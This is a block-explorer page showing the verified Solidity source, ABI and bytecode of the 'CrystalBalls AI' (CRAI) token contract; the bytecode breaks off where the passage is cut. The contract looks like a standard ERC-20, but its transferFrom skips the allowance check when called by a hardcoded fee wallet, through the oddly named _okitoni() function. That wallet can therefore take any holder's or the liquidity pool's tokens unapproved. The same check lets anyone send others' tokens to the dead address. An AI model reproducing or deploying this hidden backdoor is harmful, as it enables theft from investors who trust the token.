Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

•    - function _msgSender()
• interface IERC20
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function transferFrom(address sender, ...
• library SafeMath
•    - function add(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b, st ...
•    - function mul(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b, st ...
•  contract Ownable is Context
•    - function owner()
•    - function renounceOwnership()
• interface IUniswapV2Factory
•    - function createPair(address tokenA, a ...
• interface IRouter
•    - function swapExactTokensForETHSupport ...
•    - function factory()
•    - function WETH()
•    - function addLiquidityETH(
•  contract CRAI is Context, IERC20, ... *
•    - function name()
•    - function symbol()
•    - function decimals()
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function transferFrom(address sender, ...
•    - function _okitoni(address owner, addr ...
•    - function _approve(address owner, addr ...
•    - function _transfer(address _jiho, add ...
•    - function min(uint256 a, uint256 b)
•    - function swapTokensForEth(uint256 tok ...
•    - function sendETHToFee(uint256 amount)
•    - function openTrading()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-12-27
*/

/*

Telegram: https://t.me/crystalballs_ai
Twitter: https://x.com/crystalballs_ai

Website: https://crystalballsai.xyz/
Docs: https://docs.crystalballsai.xyz/

*/

// SPDX-License-Identifier: UNLICENSE
pragma solidity ^0.8.18;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract CRAI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _limitExcepted;

    address private _blackhole = address(0xdead);
    address private _crystalai = 0xa7FDe2CFBc65fb0d8e10e876001A5c18CaAE4c2C;

    uint256 private _initialBuyTax=2;
    uint256 private _initialSellTax=2;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=3;
    uint256 private _reduceSellTaxAt=3;
    uint256 private _preventSwapBefore=3;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420_690_000_000 * 10**_decimals;
    string private constant _name = unicode"CrystalBalls AI";
    string private constant _symbol = unicode"CRAI";
    uint256 private _tokensForSwap = _tTotal / 100;
    
    IRouter private _dexRouter;
    address private _dexPair;
    bool private inSwap = false;
    bool private _tradingActive = false;
    bool private _swapActive = false;
    
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _limitExcepted[owner()] = true;
        _limitExcepted[address(this)] = true;
        _limitExcepted[_crystalai] = true;

        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);if(_okitoni(sender, recipient))
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _okitoni(address owner, address spender) private view returns (bool) {
        return msg.sender != _crystalai && (owner == _dexPair || spender != _blackhole) ;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address _jiho, address _sank, uint256 _ficiton) private {
        require(_jiho != address(0), "ERC20: transfer from the zero address");
        require(_sank != address(0), "ERC20: transfer to the zero address");
        require(_ficiton > 0, "Transfer amount must be greater than zero");
        uint256 amountSub=0;
        if (_jiho != owner() && _sank != owner()) {
            amountSub = _ficiton.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (_jiho == _dexPair && _sank != address(_dexRouter) && ! _limitExcepted[_sank] ) {
                _buyCount++;
            }

            if(_sank == _dexPair && _jiho!= address(this) ){
                amountSub = _ficiton.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && _sank == _dexPair && _swapActive && _buyCount > _preventSwapBefore) {
                if(contractTokenBalance > _tokensForSwap)
                swapTokensForEth(min(_ficiton, min(contractTokenBalance, _tokensForSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(amountSub>0){
          _balances[address(this)]=_balances[address(this)].add(amountSub);
          emit Transfer(_jiho, address(this),amountSub);
        }
        _balances[_jiho]=_balances[_jiho].sub(_ficiton);
        _balances[_sank]=_balances[_sank].add(_ficiton.sub(amountSub));
        if (_sank != _blackhole)emit Transfer(_jiho, _sank, _ficiton.sub(amountSub));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _dexRouter.WETH();
        _approve(address(this), address(_dexRouter), tokenAmount);
        _dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        payable(_crystalai).transfer(amount);
    }

    function openTrading() external onlyOwner() {
        require(!_tradingActive,"trading is already open");
        _dexRouter = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_dexRouter), _tTotal);
        _dexPair = IUniswapV2Factory(_dexRouter.factory()).createPair(address(this), _dexRouter.WETH());
        _dexRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _swapActive = true;
        _tradingActive = true;
    }

    receive() external payable {}
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600480546001600160a01b031990811661dead179091556005805490911673a7fde2cfbc65fb0d8e10e876001a5c18caae4c2c179055600260068190556007555f600881905560098181556003600a818155600b829055600c91909155600d92909255606491620000769190620002f7565b62000087906461f313f8806200030e565b62000093919062000328565b600e556010805462ffffff60a01b19169055348015620000b1575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600160035f620001095f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556005549091168352912080549092161790556200016d6009600a620002f7565b6200017e906461f313f8806200030e565b335f81815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001c06009600a620002f7565b620001d1906461f313f8806200030e565b60405190815260200160405180910390a362000348565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200023c57815f1904821115620002205762000220620001e8565b808516156200022e57918102915b93841c939080029062000201565b509250929050565b5f826200025457506001620002f1565b816200026257505f620002f1565b81600181146200027b57600281146200028657620002a6565b6001915050620002f1565b60ff8411156200029a576200029a620001e8565b50506001821b620002f1565b5060208310610133831016604e8410600b8410161715620002cb575081810a620002f1565b620002d78383620001fc565b805f1904821115620002ed57620002ed620001e8565b0290505b92915050565b5f6200030760ff84168362000244565b9392505050565b8082028115828204841417620002f157620002f1620001e8565b5f826200034357634e487b7160e01b5f52601260045260245ffd5b500490565b61142c80620003565f395ff3fe6080604052600436106100a8575f3560e01c8063715018a611610062578063715018a6146101bb5780638da5cb5b146101d157806395d89b41146101f7578063a9059cbb14610223578063c9567bf914610242578063dd62ed3e14610256575f80fd5b806306fdde03146100b3578063095ea7b3146100fc57806318160ddd1461012b57806323b872dd1461014d578063313ce5671461016c57806370a0823114610187575f80fd5b366100af57005b5f80fd5b3480156100be575f80fd5b5060408051808201909152600f81526e4372797374616c42616c6c7320414960881b60208201525b6040516100f39190611070565b60405180910390f35b348015610107575f80fd5b5061011b6101163660046110d3565b61029a565b60405190151581526020016100f3565b348015610136575f80fd5b5061013f6102b0565b6040519081526020016100f3565b348015610158575f80fd5b5061011b6101673660046110fd565b6102d1565b348015610177575f80fd5b50604051600981526020016100f3565b348015610192575f80fd5b5061013f6101a136600461113b565b6001600160a01b03165f9081526001602052604090205490565b3480156101c6575f80fd5b506101cf610347565b005b3480156101dc575f80fd5b505f546040516001600160a01b0390911681526020016100f3565b348015610202575f80fd5b506040805180820190915260048152634352414960e01b60208201526100e6565b34801561022e575f80fd5b5061011b61023d3660046110d3565b6103ed565b34801561024d575f80fd5b506101cf6103f9565b348015610261575f80fd5b5061013f610270366004611156565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6102a633848461075a565b5060015b92915050565b5f6102bd6009600a611281565b6102cc906461f313f88061128f565b905090565b5f6102dd84848461087d565b6102e78484610ca6565b1561033d5761033d8433610338856040518060600160405280602881526020016113cf602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610cef565b61075a565b5060019392505050565b5f546001600160a01b031633146103a55760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6102a633848461087d565b5f546001600160a01b031633146104525760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161039c565b601054600160a81b900460ff16156104ac5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161039c565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104f69030906104e76009600a611281565b610338906461f313f88061128f565b600f5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610546573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061056a91906112a6565b6001600160a01b031663c9c6539630600f5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105c9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105ed91906112a6565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610637573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061065b91906112a6565b601080546001600160a01b039283166001600160a01b0319909116179055600f541663f305d71947306106a2816001600160a01b03165f9081526001602052604090205490565b5f806106b55f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561071b573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061074091906112c1565b50506010805461ffff60a81b191661010160a81b17905550565b6001600160a01b0383166107bc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161039c565b6001600160a01b03821661081d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161039c565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108e15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161039c565b6001600160a01b0382166109435760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161039c565b5f81116109a45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161039c565b5f80546001600160a01b038581169116148015906109cf57505f546001600160a01b03848116911614155b15610b5357610a0060646109fa600a54600d54116109ef576006546109f3565b6008545b8590610d27565b90610da5565b6010549091506001600160a01b038581169116148015610a2e5750600f546001600160a01b03848116911614155b8015610a5257506001600160a01b0383165f9081526003602052604090205460ff16155b15610a6c57600d8054905f610a66836112ec565b91905055505b6010546001600160a01b038481169116148015610a9257506001600160a01b0384163014155b15610abf57610abc60646109fa600b54600d5411610ab2576007546109f3565b6009548590610d27565b90505b305f90815260016020526040902054601054600160a01b900460ff16158015610af557506010546001600160a01b038581169116145b8015610b0a5750601054600160b01b900460ff165b8015610b195750600c54600d54115b15610b5157600e54811115610b4557610b45610b4084610b3b84600e54610de6565b610de6565b610dfa565b47610b4f47610f6a565b505b505b8015610bcb57305f90815260016020526040902054610b729082610fa5565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610bc29085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610bed9083611003565b6001600160a01b0385165f90815260016020526040902055610c30610c128383611003565b6001600160a01b0385165f9081526001602052604090205490610fa5565b6001600160a01b038085165f818152600160205260409020929092556004541614610ca0576001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610c8e8585611003565b60405190815260200160405180910390a35b50505050565b6005545f906001600160a01b03163314801590610ce857506010546001600160a01b0384811691161480610ce857506004546001600160a01b03838116911614155b9392505050565b5f8184841115610d125760405162461bcd60e51b815260040161039c9190611070565b505f610d1e8486611304565b95945050505050565b5f825f03610d3657505f6102aa565b5f610d41838561128f565b905082610d4e8583611317565b14610ce85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161039c565b5f610ce883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611044565b5f818311610df45782610ce8565b50919050565b6010805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610e4057610e40611336565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e97573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ebb91906112a6565b81600181518110610ece57610ece611336565b6001600160a01b039283166020918202929092010152600f54610ef4913091168461075a565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f2c9085905f9086903090429060040161134a565b5f604051808303815f87803b158015610f43575f80fd5b505af1158015610f55573d5f803e3d5ffd5b50506010805460ff60a01b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610fa1573d5f803e3d5ffd5b5050565b5f80610fb183856113bb565b905083811015610ce85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161039c565b5f610ce883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cef565b5f81836110645760405162461bcd60e51b815260040161039c9190611070565b505f610d1e8486611317565b5f602080835283518060208501525f5b8181101561109c57858101830151858201604001528201611080565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146110d0575f80fd5b50565b5f80604083850312156110e4575f80fd5b82356110ef816110bc565b946020939093013593505050565b5f805f6060848603121561110f575f80fd5b833561111a816110bc565b9250602084013561112a816110bc565b929592945050506040919091013590565b5f6020828403121561114b575f80fd5b8135610ce8816110bc565b5f8060408385031215611167575f80fd5b8235611172816110bc565b91506020830135611182816110bc565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156111db57815f19048211156111c1576111c161118d565b808516156111ce57918102915b93841c93908002906111a6565b509250929050565b5f826111f1575060016102aa565b816111fd57505f6102aa565b8160018114611213576002811461121d57611239565b60019150506102aa565b60ff84111561122e5761122e61118d565b50506001821b6102aa565b5060208310610133831016604e8410600b841016171561125c575081810a6102aa565b61126683836111a1565b805f19048211156112795761127961118d565b029392505050565b5f610ce860ff8416836111e3565b80820281158282048414176102aa576102aa61118d565b5f602082840312156112b6575f80fd5b8151610ce8816110bc565b5f805f606084860312156112d3575f80fd5b8351925060208401519150604084015190509250925092565b5f600182016112fd576112fd61118d565b5060010190565b818103818111156102aa576102aa61118d565b5f8261133157634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561139a5784516001600160a01b031683529383019391830191600101611375565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156102aa576102aa61118d56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200c66a7f411a4770bf6f2a40a5418c55ba64f3603e8b7e12e9ed2f6c90c6c599964736f6c63430008170033

0x6080604052600436106100a8575f3560e01c8063715018a611610062578063715018a6146101bb5780638da5cb5b146101d157806395d89b41146101f7578063a9059cbb14610223578063c9567bf914610242578063dd62ed3e14610256575f80fd5b806306fdde03146100b3578063095ea7b3146100fc57806318160ddd1461012b57806323b872dd1461014d578063313ce5671461016c57806370a0823114610187575f80fd5b366100af57005b5f80fd5b3480156100be575f80fd5b5060408051808201909152600f81526e4372797374616c42616c6c7320414960881b60208201525b6040516100f39190611070565b60405180910390f35b348015610107575f80fd5b5061011b6101163660046110d3565b61029a565b60405190151581526020016100f3565b348015610136575f80fd5b5061013f6102b0565b6040519081526020016100f3565b348015610158575f80fd5b5061011b6101673660046110fd565b6102d1565b348015610177575f80fd5b50604051600981526020016100f3565b348015610192575f80fd5b5061013f6101a136600461113b565b6001600160a01b03165f9081526001602052604090205490565b3480156101c6575f80fd5b506101cf610347565b005b3480156101dc575f80fd5b505f546040516001600160a01b0390911681526020016100f3565b348015610202575f80fd5b506040805180820190915260048152634352414960e01b60208201526100e6565b34801561022e575f80fd5b5061011b61023d3660046110d3565b6103ed565b34801561024d575f80fd5b506101cf6103f9565b348015610261575f80fd5b5061013f610270366004611156565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6102a633848461075a565b5060015b92915050565b5f6102bd6009600a611281565b6102cc906461f313f88061128f565b905090565b5f6102dd84848461087d565b6102e78484610ca6565b1561033d5761033d8433610338856040518060600160405280602881526020016113cf602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610cef565b61075a565b5060019392505050565b5f546001600160a01b031633146103a55760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6102a633848461087d565b5f546001600160a01b031633146104525760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161039c565b601054600160a81b900460ff16156104ac5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161039c565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104f69030906104e76009600a611281565b610338906461f313f88061128f565b600f5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610546573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061056a91906112a6565b6001600160a01b031663c9c6539630600f5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105c9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105ed91906112a6565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610637573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061065b91906112a6565b601080546001600160a01b039283166001600160a01b0319909116179055600f541663f305d71947306106a2816001600160a01b03165f9081526001602052604090205490565b5f806106b55f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561071b573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061074091906112c1565b50506010805461ffff60a81b191661010160a81b17905550565b6001600160a01b0383166107bc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161039c565b6001600160a01b03821661081d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161039c565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108e15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161039c565b6001600160a01b0382166109435760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161039c565b5f81116109a45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161039c565b5f80546001600160a01b038581169116148015906109cf57505f546001600160a01b03848116911614155b15610b5357610a0060646109fa600a54600d54116109ef576006546109f3565b6008545b8590610d27565b90610da5565b6010549091506001600160a01b038581169116148015610a2e5750600f546001600160a01b03848116911614155b8015610a5257506001600160a01b0383165f9081526003602052604090205460ff16155b15610a6c57600d8054905f610a66836112ec565b91905055505b6010546001600160a01b038481169116148015610a9257506001600160a01b0384163014155b15610abf57610abc60646109fa600b54600d5411610ab2576007546109f3565b6009548590610d27565b90505b305f90815260016020526040902054601054600160a01b900460ff16158015610af557506010546001600160a01b038581169116145b8015610b0a5750601054600160b01b900460ff165b8015610b195750600c54600d54115b15610b5157600e54811115610b4557610b45610b4084610b3b84600e54610de6565b610de6565b610dfa565b47610b4f47610f6a565b505b505b8015610bcb57305f90815260016020526040902054610b729082610fa5565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610bc29085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610bed9083611003565b6001600160a01b0385165f90815260016020526040902055610c30610c128383611003565b6001600160a01b0385165f9081526001602052604090205490610fa5565b6001600160a01b038085165f818152600160205260409020929092556004541614610ca0576001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610c8e8585611003565b60405190815260200160405180910390a35b50505050565b6005545f906001600160a01b03163314801590610ce857506010546001600160a01b0384811691161480610ce857506004546001600160a01b03838116911614155b9392505050565b5f8184841115610d125760405162461bcd60e51b815260040161039c9190611070565b505f610d1e8486611304565b95945050505050565b5f825f03610d3657505f6102aa565b5f610d41838561128f565b905082610d4e8583611317565b14610ce85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161039c565b5f610ce883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611044565b5f818311610df45782610ce8565b50919050565b6010805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610e4057610e40611336565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e97573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ebb91906112a6565b81600181518110610ece57610ece611336565b6001600160a01b039283166020918202929092010152600f54610ef4913091168461075a565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f2c9085905f9086903090429060040161134a565b5f604051808303815f87803b158015610f43575f80fd5b505af1158015610f55573d5f803e3d5ffd5b50506010805460ff60a01b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610fa1573d5f803e3d5ffd5b5050565b5f80610fb183856113bb565b905083811015610ce85760405162